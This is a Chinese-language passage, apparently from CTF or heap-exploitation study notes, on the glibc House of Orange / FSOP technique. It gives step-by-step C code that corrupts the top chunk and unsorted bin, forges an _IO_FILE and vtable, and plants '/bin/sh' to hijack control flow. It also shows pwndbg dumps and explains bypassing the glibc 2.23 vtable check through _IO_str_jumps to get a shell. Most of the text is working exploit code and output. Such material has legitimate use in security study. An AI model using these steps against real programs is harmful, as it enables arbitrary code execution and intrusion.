rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
3 构造_IO_list_all指针 io_list_all = top[2 ] + 0x9a8 ; top[3 ] = io_list_all - 0x10 ;
pwndbg> x/10xg 0x603400 0x603400: 0x0000000000000000 0x0000000000000be1 0x603410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 fd bk 0x603420: 0x0000000000000000 0x0000000000000000 0x603430: 0x0000000000000000 0x0000000000000000 0x603440: 0x0000000000000000 0x0000000000000000 pwndbg> unsortedbin unsortedbin all [corrupted] FD: 0x603400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603400 BK: 0x603400 —▸ 0x7ffff7dd2510 ◂— 0x0
4构造system(/bin/sh),缩小top chunk memcpy ( ( char *) top, "/bin/sh\x00" , 8 );top[1 ] = 0x61 ;
pwndbg> x/10xg 0x603400 0x603400: 0x0068732f6e69622f 0x0000000000000061 0x603410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 0x603420: 0x0000000000000000 0x0000000000000000 0x603430: 0x0000000000000000 0x0000000000000000 0x603440: 0x0000000000000000 0x0000000000000000
5 满足条件 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base _IO_FILE *fp = (_IO_FILE *) top; fp->_mode = 0 ; fp->_IO_write_base = (char *) 2 ; fp->_IO_write_ptr = (char *) 3 ;
pwndbg> x/10xg 0x00007ffff7dd2510 0x7ffff7dd2510: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd2540 0x0000000000000000 0x7ffff7dd2530: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2540 <_IO_2_1_stderr_>: 0x00000000fbad2887 0x00007ffff7dd25c3 0x7ffff7dd2550 <_IO_2_1_stderr_+16>: 0x00007ffff7dd25c3 0x00007ffff7dd25c3
6 设置跳板指向可控内存 size_t *jump_table = &top[12 ]; jump_table[3 ] = (size_t ) &winner; *(size_t *) ((size_t ) fp + sizeof (_IO_FILE)) = (size_t ) jump_table;
7 malloc触发利用链
pwndbg> x/10xg 0x00007ffff7dd1b78 0x7ffff7dd1b78 <main_arena+88>: 0x000055555577cc30 0x0000000000000000 0x7ffff7dd1b88 <main_arena+104>: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
利用思路 在glibc-2.23
之前没有检查,可直接构造假的stdout
,触发libc的abort
,利用abort
中的_IO_flush_all_lockp
来达到控制程序流的目的。
在glibc-2.23
之后增加了_IO_vtable_check
static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable ){ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
要求vtable
必须在__stop___libc_IO_vtables
和__start___libc_IO_vtables
之间,这就意味着不能利用任意地址来充当vtable
。可以将vtable
指向_IO_str_jumps
,将fp
的0xe8
偏移覆盖为system
函数,fp
的0x38
偏移覆盖为/bin/sh
字符串,就能get shell。
在glibc-2.27
以及之后的源码中,abort中没有刷新流的操作
if (stage == 1 ){ int save_stage = stage; stage = 0 ; __libc_lock_unlock_recursive (lock); raise (SIGABRT); __libc_lock_lock_recursive (lock); stage = save_stage + 1 ; }
因此不再容易利用。